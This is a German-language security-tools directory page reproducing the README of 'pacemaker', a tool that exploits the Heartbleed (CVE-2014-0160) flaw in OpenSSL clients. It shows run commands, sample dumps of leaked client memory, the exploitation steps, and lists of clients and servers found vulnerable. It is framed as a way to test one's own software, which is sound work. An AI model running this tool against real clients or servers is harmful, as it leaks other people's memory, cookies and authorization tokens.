Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pacemaker — Heartbleed (CVE-2014-0160) Client-Exploit | Kitploit
Tools/GitHubGitHub/lekensteyn/pacemaker
SchwachstellenanalyseExploitationWebsicherheitNetzwerksicherheitKryptographiePenetrationstests
GitHublekensteyn/pacemaker

pacemaker

Heartbleed (CVE-2014-0160) Client-Exploit

Repository anzeigen
330793vor 10 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Pacemaker

Versucht, OpenSSL-Clients auszunutzen, die anfällig für Heartbleed (CVE-2014-0160) sind. Kompatibel mit Python 2 und 3.

Bin ich verwundbar?

Führen Sie den Server aus:

root@kitploit:~
python pacemaker.py

Öffnen Sie in Ihrem Client https://localhost:4433/ (ersetzen Sie bei Bedarf den Hostnamen). Zum Beispiel:

root@kitploit:~
curl https://localhost:4433/

Der Client wird immer einen Verbindungsfehler erzeugen:

root@kitploit:~
curl: (35) Unknown SSL protocol error in connection to localhost:4433

Wenn Sie nicht verwundbar sind, gibt der Server etwa Folgendes aus:

root@kitploit:~
Connection from: 127.0.0.1:40736
Possibly not vulnerable

Wenn Sie doch verwundbar sind, sehen Sie etwa Folgendes:

root@kitploit:~
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............
Tool herunterladen

Nachfolgende Zeilen voller NUL-Bytes werden danach zu einer Zeile mit einem * zusammengefasst (wie beim xxd-Werkzeug).

Ein Beispiel, bei dem mit wget -O /dev/null https://google.com https://localhost:4433 mehr "interessanter" Speicher geleakt wird:

root@kitploit:~
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//.........

Wie funktioniert das?

TLS-Heartbeats können von beiden Seiten einer TLS-Verbindung gesendet werden. Nachdem der Handshake abgeschlossen ist, sind diese Heartbeats verschlüsselt. Aber offenbar erlaubt OpenSSL Heartbeat-Nachrichten, bevor der Handshake abgeschlossen ist. Diese Heartbeats (auf der Record-Layer-Ebene) sind überhaupt nicht verschlüsselt!

Dadurch ist es sehr einfach, den Fehler bei Clients auszunutzen:

  1. Warten Sie auf ein ClientHello mit einer TLS-Version und einer Cipher-Suite.
  2. Senden Sie ein ServerHello mit derselben TLS-Version und Cipher-Suite (um einen Handshake-Fehler zu vermeiden).
  3. An diesem Punkt kann der Server so viele Heartbeat-Anfragen senden, wie er möchte.

Beachten Sie, dass keine Zertifikate erforderlich sind, da die Heartbeats akzeptiert werden, bevor irgendwelche Zertifikate oder Verschlüsselungsschlüssel ausgetauscht werden. Da die Länge der Heartbeat-Anfragen nicht überprüft wird, können bis zu 64 KiB Speicher aus dem Client-Speicher gelesen werden.

pacemaker führt die obigen Schritte aus und nimmt an, dass ein Client nicht verwundbar ist, wenn Schritt 3 andere Daten als Alerts ergibt. Falls für einige Protokolle erforderlich (z. B. SMTP mit STARTTLS), werden zusätzliche Daten ausgetauscht, bevor der TLS-Handshake beginnt.

Erweiterte Nutzung

Führen Sie ./pacemaker.py -h aus, um weitere Optionen zu sehen. Die wichtigsten Optionen sind wahrscheinlich -t (--timeout) und -x (--count). Der Standard-Timeout beträgt 3 Sekunden, was für die meisten Clients ausreichen sollte, um zu antworten (sofern keine Satellitenverbindung oder Ähnliches vorliegt).

Beispiel, um pro Heartbeat geduldiger zu sein (5 Sekunden) und vier Heartbeat- Antworten zu erhalten:

root@kitploit:~
./pacemaker.py -t 5 -x 4

Theoretisch können die Heartbeats jetzt zwanzig Sekunden dauern, aber in der Praxis werden Sie viel schneller Antworten erhalten.

Getestete Clients

Die folgenden Clients wurden mit OpenSSL 1.0.1f auf Arch Linux getestet und gaben vor dem Handshake Speicher preis:

  • MariaDB 5.5.36
  • wget 1.15 (gibt Speicher früherer Verbindungen und des eigenen Zustands preis)
  • curl 7.36.0 (https, FTP/IMAP/POP3/SMTP mit --ftp-ssl)
  • git 1.9.1 (clone/push getestet, gibt nicht viel preis)
  • nginx 1.4.7 (im Proxy-Modus, gibt Speicher früherer Anfragen preis)
  • links 2.8 (gibt Inhalte früherer Besuche preis!)
  • KDE 4.12.4 (kioclient, Dolphin, https und ftps mit kde4-ftps-kio getestet)
  • Exim 4.82 (ausgehender SMTP)

links ist ein großartiges Beispiel, das die Auswirkung dieses Fehlers auf Clients zeigt. Es ist ein textbasierter Browser, der Details wie Header (Cookies, Autorisierungs-Tokens) und Seiteninhalte preisgibt.

Lizenz

pacemaker ist unter der MIT-Lizenz lizenziert. Weitere Einzelheiten finden Sie in der LICENSE-Datei.

heartbleed.py

Dies ist eine Implementierung, die pacemaker zum Erstellen von Paketen verwendet. Sie hat die Einschränkung, dass wiederholte Anfragen für jeden Versuch eine neue Verbindung aufbauen müssen, da der Server die Verbindung sofort nach der ersten Heartbeat-Antwort zurücksetzt.

Diese Einschränkung ergibt sich aus dem gewählten Ansatz. Wenn der Handshake auch vom Client abgeschlossen würde, könnten viele verschlüsselte Handshakes gesendet werden, ohne dass Verbindungsfehler auftreten.

heartbleed.py ist Teil von pacemaker und unterliegt daher denselben Lizenzbedingungen.

Getestete Server

Die folgenden Server wurden mit OpenSSL 1.0.1f auf Arch Linux getestet (sofern nicht anders angegeben):

  • openssl s_server (HTTPS)
  • nginx 1.4.7 (HTTPS)
  • Dovecot 2.2.11 (IMAP / POP3)
  • proftpd 1.3.4a-5+deb7u1 (explizites FTP)
  • Exim 4.82 (SMTP)

ssltest.py

Dieses Repository enthält außerdem eine funktionierende Version, die auf Server abzielt. ssltest.py wurde von Jared Stafford ([email protected]) erstellt, alle Anerkennung gebührt ihm! Es wurde von http://s3.jspenguin.org/ssltest.py abgerufen.

Derzeit ist das Skript nur mit Python 2 kompatibel.